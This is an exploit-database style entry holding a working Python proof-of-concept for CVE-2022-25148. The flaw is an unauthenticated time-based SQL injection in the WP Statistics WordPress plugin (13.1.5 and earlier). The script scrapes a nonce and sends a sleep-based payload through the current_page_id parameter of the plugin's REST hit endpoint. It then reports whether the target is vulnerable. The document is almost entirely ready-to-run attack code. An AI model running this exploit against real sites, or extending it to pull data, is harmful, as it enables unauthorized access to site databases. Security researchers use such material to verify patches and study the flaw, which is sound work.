WP Statistics Plugin 13.1.5 current_page_id - Time based SQL injection - CVE-2022-25148

# Exploit Title: WP Statistics Plugin <= 13.1.5 current_page_id - Time based SQL injection (Unauthenticated)
# Date: 13/02/2022
# Exploit Author: psychoSherlock
# Vendor Homepage: https://wp-statistics.com/
# Software Link: https://downloads.wordpress.org/plugin/wp-statistics.13.1.5.zip
# Version: 13.1.5 and prior
# Tested on: wp-statistics 13.1.5
# CVE : CVE-2022-25148
# Vendor URL: https://wordpress.org/plugins/wp-statistics/
# CVSS Score: 8.4 (High)

import argparse
import requests
import re
import urllib.parse


def main():
    parser = argparse.ArgumentParser(description="CVE-2022-25148")
    parser.add_argument('-u', '--url', required=True,
                        help='Wordpress base URL')

    args = parser.parse_args()

    baseUrl = args.url
    payload = "IF(1=1, sleep(5), 1)"

    wp_session = requests.session()

    resp = wp_session.get(baseUrl)
    nonce = re.search(r'_wpnonce=(.*?)&wp_statistics_hit', resp.text).group(1)
    print(f"Gathered Nonce: {nonce}")

    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15"}

    payload = urllib.parse.quote_plus(payload)
    exploit = f'/wp-json/wp-statistics/v2/hit?_=11&_wpnonce={nonce}&wp_statistics_hit_rest=&browser=&platform=&version=&referred=&ip=11.11.11.11&exclusion_match=no&exclusion_reason&ua=Something&track_all=1&timestamp=11&current_page_type=home&current_page_id={payload}&search_query&page_uri=/&user_id=0'
    exploit_url = baseUrl + exploit

    print(f'\nSending: {exploit_url}')

    resp = wp_session.get(exploit_url, headers=headers)

    if float(resp.elapsed.total_seconds()) >= 5.0:
        print("\n!!! Target is vulnerable !!!")
        print(f'\nTime taken: {resp.elapsed.total_seconds()}')
    else:
        print('Target is not vulnerable')


if __name__ == "__main__":
    main()